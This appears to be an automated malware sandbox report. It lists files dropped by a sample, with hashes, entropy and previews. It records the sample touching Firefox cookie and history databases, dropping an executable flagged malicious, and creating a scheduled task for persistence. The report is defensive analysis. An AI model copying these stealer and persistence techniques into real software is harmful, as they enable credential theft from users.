Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8980_630870937\18295f7d-25d8-4c68-8e44-fd6ed0040370.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8980_630870937\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8980_630870937\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8980_630870937\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8980_630870937\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsGCFIIEBKEG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1865728
Entropy (8bit):	7.950307461004618
Encrypted:	false
SSDEEP:	24576:RUaP/erYO5PCGQ43Jjf5O870zxxqjR2FSoEwJIkTQiJYmWi1nxTPC4d2qOlD87:RRHOtCGz3fhCgjR28/yIuOm11xfK
MD5:	2FF2F4CB39A9D0E4C3270991B067FC0D
SHA1:	15CAB9DF2382BBE89173B0D36D9AA79E719C627E
SHA-256:	44BAD3D7187BEB169787008D5E70FBBF36AF3C7571A00105FAF1CCACC4B7FE67
SHA-512:	4EA2ED13CF7953EDBDD09A0DE2A0B92B34C0B3EF8E211B9E7ECA56E4A41D57031B665E5866DBECF8F91FAED3CCBC5D5A677492E3199B73EAAFC3A52865C89A72
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................@J.....s.....@.................................W...k.......D.....................I.............................P.I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...hpiiigzq.`....0..\..................@...rizbcyzd......J......R..............@....taggant.0....J.."...V..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsGCFIIEBKEG.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.45034832492767
Encrypted:	false
SSDEEP:	6:F+SyLlbXUhXUEZ+lX1CGdKUe6tE9+AQy0lB5l/e1lEt0:F+SyRr4Q1CGAFD9+nVB7/qut0
MD5:	7B249F7A1812DEDFA98D308F0FC0C27E
SHA1:	CC83B8FF89952E7E59F159D0E29D16EEBE4E1D4B
SHA-256:	E4A6310A31D96B6AC3C8B9B21D7F69B1A970F91B9963936DA8C25CF34511A849
SHA-512:	FB15C557D1F86E73A663727B0D2F23283CD9E20E0B63358B55790A6D7623F14D94161BB999A874DA55B41013B3A694D82D9E091239241A58088188D6B5D6E635
Malicious:	false
Preview:	.........C.....gUFF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (790)
Category:	downloaded
Size (bytes):	795
Entropy (8bit):	5.154328760776722
Encrypted:	false
SSDEEP:	24:ewh/OavBBHslgT9lCuABurz7HHHHHHHYqmffffffo:e8RvBKlgZ01Bu/Eqmffffffo
MD5:	96DBB3F42627C01C2BB10195BC6BCA23
SHA1:	F8EFD512F5EECEC7176BEA9D16BBFC176D41C532
SHA-256:	6E7D270FD52D56121BEF4EA2C3DE91FBE8E9C9EE2747103DFE48856B5DE9AE79
SHA-512:	5B43C99F6E19B4CB5C10B734F47C4855E699A578811817550FA96EB032DED86EB17ED09D62BA322980D94623AA358E573A747F735F73D3F4F5DC2CB5A289A5DE
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["uk military bases drones","new subclasses bg3 patch 8","walmart truck driver lawsuit","moana live action movie","mets genesis cabrera","thanksgiving weather forecast snow storm","nyt strands november 28","mega millions jackpot lottery"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1256,1255,1254,1253,1252,1251,1250,600],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 525

Download File

